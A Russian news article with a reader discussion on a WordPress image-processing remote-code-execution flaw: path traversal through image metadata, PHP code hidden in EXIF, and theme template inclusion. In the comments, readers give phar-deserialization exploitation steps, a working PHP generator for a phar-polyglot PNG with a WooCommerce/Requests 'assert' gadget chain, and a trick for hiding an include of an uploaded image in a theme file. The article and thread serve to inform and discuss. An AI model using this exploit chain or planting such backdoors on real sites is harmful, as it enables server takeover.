Саймон Скэннелл (Simon Scannell), в прошлом году предложивший метод атаки "PHP Phar deserialization (https://www.opennet.me/opennews/art.shtml?num=49641)", опубликовал (https://blog.ripstech.com/2019/wordpress-image-remote-code-e.../) сведения об уязвимости в системе управления контентом WordPress, позволяющей выполнить произвольный код на сервере, имея привилегии автора публикаций (Author) на сайте. В обновлениях WordPress 4.9.9 и 5.0.1 (https://www.opennet.me/opennews/art.shtml?num=49781) была добавлена частичная защита, позяовлющая блокировать атаку в основном коде WordPress, но полностью проблема остаётся не исправленной и в актуальном выпуске WordPress 5.0.3 может быть эксплуатирована через дополнительные ошибки в плагинах (отмечается, что проблема проявляется в некоторых популярных плагинах c миллионами активных установок).
Уязвимость стала следствием двух проблем - ошибки при обработке файловых путей и возможности переопределения метаданных в БД. Первая проблема позволяет переопределить в БД значение записи с параметрами изображения в таблице wp_postmeta. При изменении параметров загруженного изображения (например, описания), передаваемые данные обрабатываются в виде массива параметров, что позволяет переопределить и значение служебного параметра "_wp_attached_file", содержащего имя файла с изображением.
Так как, параметр из БД с именем файла используется относительно каталога "wp-content/uploads" без повторной проверки корректности имени, атакующий может через добавление символов "../" выйти за пределы базового каталога с загружаемыми файлами. В функциях обработки изображений, например в функции wp_crop_image(), вызываемой при кадрировании изображения, поддерживается как обработка уже загруженного локального файла, так и загрузка внешнего файла. Если локальный файл присутствует, обрабатывается он, а если нет то предпринимается попытка его загрузки c внешнего хоста (например, если указан файл evil.jpg и его нет в локальной ФС, он будет загружен как
"https://targetserver.com/wp-content/uploads/evil.jpg").
При сохранении после кадрирования файл сохраняется в отдельном каталоге с добавлением к имени приставки "cropped-" ("cropped-evil.jpg"). Изменив при помощи вышеотмеченной проблемы имя на "evil.jpg?/../../evil.jpg" можно сохранить результирующее изображение в любом каталоге, например, в каталоге с темами оформления (wp-content/themes), PHP-файлы в котором могут быть выполнены через вызов через функцию include(). Имя выполняемого файла с темой определяется в переменной "_wp_page_template", которая по аналогии с именем изображения может быть изменена на произвольное значение. На данном этапе атакующий уже может добиться записи изображения в каталог с текущей темой оформления и указать этот файл в качестве текущего шаблона оформления.
Для решения задачи по передаче PHP-кода под видом изображения используется особенность PHP-расширения Imagick, которое после редактирования оставляет содержимое метаданных EXIF в неизменном виде, т.е. в результирующем изображении остаются те же параметры EXIF, что и в исходном. Разместив вместо блока EXIF PHP-код можно добиться его выполнения при попытке подключения шаблона определённой темы оформления. При применении для преображения изображений PHP-расришения GD, атака усложняется, так как GD очищает EXIF и для выполнения кода необходим особый подбор значений пикселей, который после обработки в GD образует PHP-код.
Интересно, что в ходе изучения внутренних структур PHP-расширения
в libgd параллельно была выявлена уязвимость CVE-2019-69772 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6977), приводящая к переполнению буфера при разборе в функции gdImageColorMatch специально оформленных изображений, которую также можно использовать для атаки на PHP-приложения, вызывающие функцию [[http://php.net/imagecolormatchbimagecolormatch()]].URL: https://blog.ripstech.com/2019/wordpress-image-remote-code-e.../
Новость: https://www.opennet.me/opennews/art.shtml?num=50177
[q]изменить любой файл в файловой системе, насколько это позволяют права доступа, под которыми выполняется WordPress[/q]
бред, никто под рутами не запустит WP
про рута никто и не говорит, речь про пользователя под которым выполняется WordPress.
Для того чтобы майнить, спамить и DDoS-ить root не нужен.
Плюсую. А повышение привилегий взбодрит получше кофе (да да, сложнее, никому неизвестным бложикам не угрожает).
а зачем их повышать? На более менее крупном сайте на wp нет ничего ценного вне этого wp - зачем тебе рут, систему переставить и пермишны потюнить собрался? ;-)
Ну, тут схема такая ... => ROOT => Выйти из гостя => ROOT на госте и перехват аутентификационных данных...
Вы недооцениваете кретинизм людей.За 2018 год - встречал два проекта, где все скрипты домена выполняются под root. И прямо сейчас - переношу сайт на новый сервер, на старом он так же работал под root. Прям мечта мамкиного кулхацкера.
щас же модно контейнеры, зачем думать обезопасности, каких-то привелегиях, пользователях?
(типа сарказм)
А ведь некоторые сторонники контейнеризации всего и вся примерно так и рассуждают, что, мол, запущенный в контейнере софт изолирован от основной системы и потому с пользователями во "внутриконтейнерной" системе можно не заморачиваться.
а кто хоть раз заморочился - просто делает вид, что так рассуждает - потому что на самом деле ну его нахрен.
s/некоторые/многие/
Дык и эксплоидов для ядра вагон, каждый месяц выходит по штуке только на этом сайте (считай официально).
При корректной установке прав на каталоги все перечисленное не имеет места. Заметил, что большинство описаний "ошибок" начинается, грубо говоря, с "введем в консоли sudo bash ...".
> При корректной установке прав на каталоги все перечисленное не имеет места. Заметил,
> что большинство описаний "ошибок" начинается, грубо говоря, с "введем в консоли
> sudo bash ...".Права доступа на каталоги вас не спасут, так как вместо одного доступного на запись для wordppress каталога осуществляется сохранение файла в другой доступный на запись каталог. Каталог с темами по умолчанию открыт на запись для wordpress для сохранения и обновления тем оформления из web-интерфейса. Убрав с него запись - получите невозможность обновить темы и останетесь с неисправленными уязвимостями.
В чем проблема открывать директории на запись на время обновления и закрывать после?
Ой, нужно два скрипта написать, ужас-то-какой...
А в /tmp тоже закроете запись? А в /var/tmp? А в /dev/shm?
> В чем проблема открывать директории на запись на время обновления и закрывать после?в том что обновление автоматическое, а не юзер руками распаковывает tar.gz как вам вероятно представлялось.
А еще есть всякие on-demand кэши шаблонизатора и прочего, что вполне может быть исполняемым php кодом и при этом создается во время работы сайта.
> Ой, нужно два скрипта написать, ужас-то-какой...
нужно запускать два скрипта - а это уже ужас-ужас, когда речь не о твоем локалхостике, а хотя бы о паре сотен. Запустить, поапдейтить, убедиться что ничего не сломал, запустить, убедиться что после апдейта оно не начало писать в новые, не предусмотренные скриптом места...
полагаю, ты сломаешься и махнешь на все рукой примерно на третьем таком сайтике, если помимо скриптов-для-апдейта еще что-то за ту зарплату заставляют делать.
ну либо пользователи махнут на тебя рукой и будут жить без "этих апдейтов, которые все время ломаются". На радость спаммерам и ддосерам.
Одни права доступа - нет, не спасут.
Надо завести два разных uid. Один для php-кода, второй - для пользовательских данных (uploads и т.п.). PHP при этом исполняется от второго uid, файлы, которыми владеет первый uid доступны только на чтение. При этом для всех директорий второго uid запрещается исполнение php-кода.Да, обновляться мышкой в админке не получится - но это и хорошо: возможность PHP-скриптам гадить в себя - это само по себе большая дыра. Обновить всегда можно вручную. В крайнем случае можно обновлять закрытую от внешнего мира копию wordpress, которой разрешено гадить в себя, и синхронизировать файлы.
> Обновить всегда можно вручную.вперед. Все писят хостов, в течении часа чтоб обновил, об исполнении доложить - через нас уже кого-то спамят через очередную дырку в мэйлвраппере.
Кстати, не советую копаться - этот час мы вычтем из твоей зарплаты, потому что вместо обслуживания серверов ты занимаешься тем, что до твоей прекрасной безопастной идеи делали обезьянки за вдесятеро меньшую.
А, да - если после обновления отвалится ставшая несовместимой темка - это ты будешь теперь разбираться, почему и как вернуть как было. Ты ж "все сломал", не пхп-кодер, как прошлый раз было.
Расслабьтесь, человек предложил грамотное решение. Для кого оно актуально, те воспользуются. Для кого важнее чтоб было дёшево, вот как для вас, будут сидеть с дырами. Всех всё устраивает. Чего вы кипятитесь-то?
человек предложил безграмотное решение, не понимая как обычно используется вротпресс - и кем.
Оно реализуемо - на его локалхосте. К сожалению, как раз на локалхосте вротпресс обычно действительно не нужен - можно обойтись и статикой, и статикой разбавленной парочкой самописных (SbO) скриптов.А для тех кто трахается за деньги - увы, малореально.
при "стандартной, по инструкции, установке WP"
при использовании apache не в itk-mode
при использовании без php-fpm на сервере где есть что-то кроме wp
и т.д....
да там и так баг на баге!
В WordPress есть одна большая уязвимость: WordPress
В WordPress есть одна большая уязвимость: шаблонизатор "Personal Home Page", по недоразумению использующийся вместо языка программирования.
Не будем многословными
https://w3techs.com/technologies/details/pl-php/all/allДоля всего остального, если учесть, сколько этого всего - в пределах погрешности.
особенно забавно, что следом за пехепе идет asp.net ;-)
Я, честно говоря, удивлен.
А чего удивительного? Удобная и приятная в использовании штука.Не всё то плохо, что исчадие проприетарного ада.
Тем более, что Core уже и не проприетарная
Ну в общем не странно - "классика": .NET и Java - делают сколь-либо серьёзную долю за счёт тормознющих монструозных CRM корпорастов, которые готовы взять в 10 раз больше железа, нежели добавить технологию - это дешевле.Ну а далее жавы совсем мрак. Рельсы ещё как-то вытягивают 2.4%, и далее уже статика :D
Всё остальное недоразумение - как уже писал - на уровне погрешности.
ну я и ждал жабу, а asp где-нибудь на уровне шума рельсов (на рельсе я тебе за час трех студентов найму, а для жабы да чтоб еще работало - и за месяц не найдешь хоть одного вменяемого).
Понятно, когда он ломается, меня не позовут, поэтому, видимо, для меня картина мира сильно искажена в пользу земноводных.
В WordPress есть одна большая уязвимость: php (fixed, не благодарите)
почему надо писать о нем. это даже не новость. то что в нем постоянные баги знают все. какая бы версия не была она всегда написана корявыми руками и с кучей дыр. там наверно школота балуется, а его все тащат)))
> особый подбор значений пикселей, который после обработки в GD образует PHP-кодЭэээ.. а зачем вообще такой функционал - декодить картинку в код? Кто-нибудь может подсказать вменяемый юзкейс для такого?
"если ваш язычок не позволяет одним изящным движением выполнить картинку (или ее exif) как код - зачем тогда он вообще нужен такой ограниченный и неэффективный?" (c)разработчики пехепе
Картинка которую нельзя просто взять скачать и посмотреть.
> Ээээ.. а зачем вообще такой функционал - декодить картинку в код? Кто-нибудь может подсказать вменяемый юзкейс для такого?О, я тебе подскажу целых три юзкейса.
Ну, в чем смысл ты понимаешь, да? У тебя в каталоге ./uploads/ лежит безобидный файлик favicon.ico, на который всем насpать, пушо это картинка. А потом в дырявом файлике темы functions.php у тебя лежит строчка @include('./uploads/favicon.ico'); или более хитропопые варианты как через GD: eval(gunzip(gd_бла_бла_бла('./uploads/favicon.ico')))А потом:
1. Твой Hetzner тебя банит за то что твой VPS создает слишком жирную активность криптомайнером. Ты теряешь бабло на засуспенженом хостинге, а кто-то получает бабло на намайненной крипте за твой счет;
2. Твой Hetzner тебя банит за то что с твоего IP было отправлено 50000 enlargeyourpenisoв за последние 24 часа. Ты теряешь бабло на забаненном хостинге, а кому-то заплатили по 10 центов за каждый отправленный email;
3. Твой Hetzner тебя банит за то что с твоего IP был отправлен миллион ICMP-пакетов нестандартной длины кому-то на аплинк. Ты как обычно теряешь бабло, а кто-то получает 10 косарей бакинских за час DDOS'а, используя зомбей вроде твоего Вордпресса.
После чего тебе дают рекавери (пушо сеть уже отключена) и ты анализируешь файл за файлом, все несколько тысяч PHP-гогнокода в поисках малваря, но не находишь его, а поискать в картинках у тебя не хватит догадливости. Вот тебе юзкейс.
А не слишком ли часто?
Эх, с ностальгией вспоминаю времена конца php4 - начала php5, когда верили, что с удалением register_globals и магических кавычек пхп уж точно станет безопасным, когда чтобы подключить модуль, не нужны были эти непонятные менеджеры и подгрузчики,достаточно было написать require_once…
В большинстве случаев, бложик или информационный сайт - можно запилить на генераторе статики. Например - Hugo, Hexo, Jekyll и т.д. Будет точно такой же сайт, что и на Wordpress, только будет работать шустро(летать как ракета, после wordpress), будет подключаться меньше скриптов на страницу, а можно и без них обойтись. И никаких уязвимостей и тормозов этого монстра wordpress, никаких говноплагинов и т.д. Это как с винды на GNU/Linux пересесть.
"Будет точно такой же сайт, что и на Wordpress, только будет работать шустро(летать как ракета, после wordpress)"
и выглядеть будет - как г-но.поправил, не благодари.
И да, если у тебя "вордпресс тормозит" - тебя надо уволить и нанять админа.
он, конечно, может подтормаживать - но для этого надо таки написать на нем нифига не статический сайт, и при этом вовсе не состоящий из одной странички.
"тормозит" обычно отрисовка, а она у вротпрессы как раз не особо-то и навороченая, если модулями-украшалками не увлекаться сверх меры.
>и выглядеть будет - как г-но.Ты вообще отличаешь фронтенд от бекенда? Можно перенести сайт с Wordpress, например на Hugo и сохранить внешний вид, а так же все ссылки. Но лучше сделать нормальный новый дизайн, т.к. видел я эти говношаблоны на Wordpress, когда подключают +100500 библиотек и скриптов, чтобы сделать мобильное меню или ещё какую ерунду, которую можно даже на голом css сделать или ванильном js.
>И да, если у тебя "вордпресс тормозит" - тебя надо уволить и нанять админа.
Может тебя надо уволить за профнепригодность? Да он из коробки, даже в админке может еле шевелиться. Как и всё остальное УГ, которое на php написано. Я уже привык к быстрым системам на других более адекватных языках и когда мне подсовывают это дерьмо, под названием wordpress - в первую очередь, уговариваем клиентов уйти с этого УГ. Почти все соглашаются, если у них нет php-головного мозга. В итоге - клиенты довольны, теперь их сайты быстры как никогда, ничего не тормозит и никто не взломает сайт через ущербный wordpress или какой ещё чудо говноплагин.
Если ты кроме wordpress и php - ничего не видел, может он для тебя и быстрый, хороший и отличный. Но не все же пользуются дерьмом.
> уговариваем клиентов уйти с этого УГНа что уводите, если не секрет?
Hugo.
А можно взглянуть на практические реализации сайтов на HUGO?
Пожалуйста: https://gohugo.io/showcase/
Это от самих "хуговцев". А вашт работы можно посмотреть?
Ну он же написал - уговаривают клиентов. Но клиенты - не идиоты, они не соглашаются.
> Можно перенести сайт с Wordpress, например на Hugo и сохранить внешний вид, а так же все ссылки.только работать ничего не будет, поскольку сайт на вротпрессе в лучшем случае - обновлялся пользователем, а в худшем содержал комьюнити-кусок, от гостевой в темном углу до вполне серьезного обмена инфой.
Иначе бы он был не на вротпрессе а на чем побыстрее.то есть это не "перенести", а массогабаритный макет, лишенный основного функционала.
Ну и зачем он нам?> Да он из коробки, даже в админке может еле шевелиться.
понятен, следующий!
> Я уже привык к быстрым системам на других более адекватных языках
у тебя, конечно, есть результаты нагрузочного тестирования, замеры ключевого функционала (у меня они - есть, поскольку php обложен метриками, а в твоей поделке как?) и ты их можешь показать клиенту? Или все заключается в гордом "у вас тормозит, у меня не будет!", с демонстрацией шаблона сайта из одной странички с нулем контента, и кто с тобой не согласен - у тех, конечно же, "php головного мозга", ага?
P.S. лет десять назад одному такому почти удалось меня убедить - ну, он по крайней мере, использовал нормальную терминологию, и даже какие-то технические обоснования приводил, а не "пролетарское чутье". Посмотрел-посмотрел я как (рекомендованная им) джанга работает с базой данных - в общем, нагрузочное тестирование не потребовалось, так выкинули.
> не "пролетарское чутье" [...] нагрузочное тестирование не потребовалось, так выкинули.Ясно. Про метрики он заливает, а нагрузочное тестирование не потребовалось.
> он, конечно, может подтормаживать - но для этого надо таки написать на нем нифига не статический сайт, и при этом вовсе не состоящий из одной странички.Статические странички могут друг на друга ссылаться, представляешь. ШОК! СЕНСАЦИЯ!
с разморозочкой вас - как там был интернетик, в вашем 1994м? В нашем-то 2019, к сожалению, ссылок-то на страницах уже и нет почти нигде.юзеру совсем не "гипертекстовый графический фидонет" оказался нужен.
А что тогда?
повторяю: берешь плюсик, заворачиваешь в почту, отправляешь модератору на рассмотрение. Как рассмотрит, откроет исходник странички (ну или даже модным способом в базе поапдейтит счетчик - но потом придется еще подождать, пока сработает cron скрипт/большая красная кнопка, обновляющий статически сгенеренный сайт) - а как ты еще-то хотел?аааа, ты хочешь чтоб ты плюсик ткнул и сразу все сработало, причем без перезагрузки страницы?
Ну, вот... и это мааааааленький такой плюсик, почти ненужная фича и на сайте с дизайном 90х...
Посетителей у которого, сам видишь, ну просто дофига.
Подписываюсь под каждым словом. Статика рулит.
кто ему плюс нажал - забирайте обратно. Статика рулит - плюс пришлете емейлом, модератор его рассмотрит и вручную поправит на страничке.
>Статика рулит.написал человек на странице вовсе не через генерируемые в статику комменты 🤦♂️
Для комментов полно сервисов, которые легко подключаются к статичным сайтам.
А если подумать, то и без бложика можно обойтись. Всё равно ни одной умной мысли там не было.
Много кто писал что на западе юзают вордпресс. Любят там его даже серьёзные конторки. Но вот параллельно с этим замечена тендеция возврата к статике. Hugo, Hexo, Jekyll и т. д.
У меня Jekyll. Доволен как слон. PHP&Wordpress must die.
Тенденция возврата к статике возникла вскоре после появления динамической генерации контента, когда кто-то умный догадался, что одну и ту же страницу можно засунуть в memcached, вместо того, чтобы каждый раз генерить её заново.
А теперь кто-то догадался, что эти сгенерированные страницы можно аккуратно разложить на диске и отдавать с него.
только на то он и memcached, что страничка в нем рано или поздно поэкспайрится, и будет пересоздана заново.
> А теперь кто-то догадался, что эти сгенерированные страницы можно аккуратно разложить на диске и
> отдавать с него.кто-то - неосилятор быстрых шаблонизаторов, настолько, что отдавать с диска (а не из memcached) у него получается заметно глазу быстрее чем сгенерировать?
Знаете, ребята, а php похоже не настолько плох, как я привык считать.
Из шустрейших шаблонизаторов - blitz. В виде сишного модуля для пыха.
>очередная уязвимость в libgdпохоронить и заменить библиотекой OpenCV.
Кстати, граждане похапехейтеры. Подскажите, как настроить php, чтобы он стал, наконец, уязвляться этой самой phar-уязвимостью. Может, модуль какой надо установить, или что.
У меня не хочет исполнять код через file_exists, хоть ты тресни. Дефолтная установка php-fpm из реп убунтей 16.04 и 18.04, и древний денвер на виртуалке тоже не хочет. Ни через http-сервер, ни через cli.
А ты рассказывай как обгонял и как подрезал.надо
1. разрешить фичу в конфиге php.ini (если память не изменяет)
2. phar архив собрать с сериализованными заголовками
3. открыть файл в блокноте и засрать эти самые заголовки до состояния что выполнится шелл код.
4. прикрутить этот самый шеллкод.
5. скормить файл не патченой версии пыха старше чем 5.3. через что-то люто бажное.ибо выполняться должно
либо file_exists("phar://путь/к/phar.файлу.не.обязательно.с.расширением.phar....")
либо file_exists("phar://путь/к/phar.файлу.не.обязательно.с.расширением.phar..../not_found.html")
А вот
file_exists("путь/к/phar.файлу.не.обязательно.с.расширением.phar....")
или
file_exists("путь/к/phar.файлу.не.обязательно.с.расширением.phar..../not_found.html").
вернет true или false вообще не заглядывая внутрь архива
в очередной раз - ну что неправильного в пути к моему файлу phar://someshit.phar/notfound.html ?
/dev/shm> ls -la !$
ls -la phar://someshit.phar/notfound.html
total 0
drwxr-xr-x 2 www www 40 Feb 21 10:57 ./
drwxr-xr-x 3 www www 60 Feb 21 10:57 ../и какие еще символы в вполне разрешенном в юниксах пути вам надо запретить, чтобы пхп наконец подавился?
а причем тут ls -la? Может я чего не знаю?
а то легенда гласит
"укурились разрабы и решили а хорошо чтобы можно было сунуть все файлы в один архив и он выполнялся. так родился формат phar. и озадачились они вопросом а как же будет узнавать скрипт быдлокодера, что внутри архива есть файл который надо подключить или прочитать? и не придумали они ничего лучше чем смотреть на первые буквы переданного аргумента. ( если там phar:// то расковыривать массив с заголовком, и искать его содержимое.)
Но вот трава кончилась и кто то решил набить в папиросу чая. раз затянулся, потом еще раз. И понял этот человек что без модных брюк а ля хипстер он жить не может. и, добавив в папиросу немного синтетической дряни, сей человек переписал модуль phar так, чтобы модуль поддерживал сериализованные массивы со всеми их багами и фичами
"
И таки да, чай был с добавками.
> а причем тут ls -la? Может я чего не знаю?в смысле - я тебе демонстриую реально созданный мной путь в юниксной fs.
С чего, собственно, пользователь не должен такие пути создавать?А как теперь отличить путь это или кусок протокола - это уж сам придумывай.
не забыв передать спасибо дятлам, понатащившим в функции работы с файлами ненужно-функционал вместо создания более высокоуровневых оберток с отдельным интерфейсом и контролем типов.
спасибо за то что напомнил что все таки существуют "альтернативно одаренные разработчики" которые переименовывают файлы на сервере давая им то имя под которым файл был загружен.Я наивно полагал что гораздо проще дать файлу имя md5(user_id+tmp_filename+terminator+real_filename+terminator+time) а в бд записать получившийся хеш и real_filename.
Всё ещё проще: открываем транзакцию, пишем в БД метаданные, получаем insert ID, пишем <insert ID>.file, коммитим транзакцию. Обработка ошибок транзакцию оборвёт - т.е. если не запишется файл, метаданные тоже сгинут. Единственный тонкий момент - если коммит транзакции сфейлился, не забыть удалить файл. Но это можно делать и периодически в хаускипере - листаем файлы, не находим в базе, грохаем.
Заодно решается проблема с возможными коллизиями - insert id уникален для каждой транзакции, и с шардингом - можно в БД заливать, куда зашардили. Доступ к файлу - по id. Если нужен по другим признакам - выбрать по индексу из БД - не проблема.
> 5. скормить файл не патченой версии пыха старше чем 5.3.С древним денвером ясно,там 5.3.
> ибо выполняться должно
> либо file_exists("phar://путь/к/phar.файлу.не.обязательно.с.расширением.phar....")
> либо file_exists("phar://путь/к/phar.файлу.не.обязательно.с.расширением.phar..../not_found.html")
> А вот
> file_exists("путь/к/phar.файлу.не.обязательно.с.расширением.phar....")
> или
> file_exists("путь/к/phar.файлу.не.обязательно.с.расширением.phar..../not_found.html").
> вернет true или false вообще не заглядывая внутрь архиваА, вон чего я упустил. Теперь на cli наблюдается некое шевеление, но не то, что предполагалось:
>PHP Warning: Class __PHP_Incomplete_Class has no unserializer in /home/onotole/1/phar_test/phar_probe.php on line 8(php7.2.15-0ubuntu0.18.04.1)
А вот на впс-ке с центосью (php5.4.16):
>Warning: file_exists(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/httpdocs/phar_test/teest.php on line 16
>Warning: Class __PHP_Incomplete_Class has no unserializer in /var/www/httpdocs/phar_test/teest.php on line 16)Что-то все это напоминает вирусы под линукс: половина не собирается, треть не работает, остальные затрахаешься настраивать.
Но ухо востро держать следует, спасибо за подсказку.---------------------------------------
Картинку со вшитым объектом делал так:class Requests_Utility_FilteredIterator extends ArrayIterator{
protected $callback;
public function __construct(){
$this->callback = 'assert';
}
}
class WC_Log_Handler_File{
protected $handles;
public function __construct(){
$this->handles = new Requests_Utility_FilteredIterator;
// $this->handles[] = 'die(shell_exec("ls -la"));';
$this->handles[] = 'die("You are hacked!");';
}
}
function img(){
ob_start();
imagepng(imagecreatetruecolor(200, 200));
return ob_get_clean();
}
$n = 'image.phar';
$p = new Phar($n);
$p->setStub(img().'__HALT_COMPILER();');
$p->setMetadata(new WC_Log_Handler_File);
$p['x'] = '';
rename($n, $n.'.png');(ссылку потерял, вроде бы от чувака, который первым этот эксплойт в картинкой предложил)
Кстати, неплохая идея хранить пользовательские файлы на диске с хэшированными именами, тогда см. историю с вирусами про линукс, п.1.
> Кстати, неплохая идея хранить пользовательские файлы на диске с хэшированными именамиПока что-то не наенбется, и не понадобится это отыскать среди нескольких тысяч файлов с непонятными именами.
Переменным и файлам лучше давать осмысленные структурированные имена. Иначе эти имена вообще не нужны, можно тупо брать HEX-заголовок из ФС.
Обновился до 5,1 версии.
Полнейшая муть,не удобно ни чего!
Редактор полнейшая хрень.
Ставь плагин TinyMCE Advanced и включай пункт в настройках "Заменить редактор блоков классическим редактором"
Пока как-то так. Лучшего пока не нашел
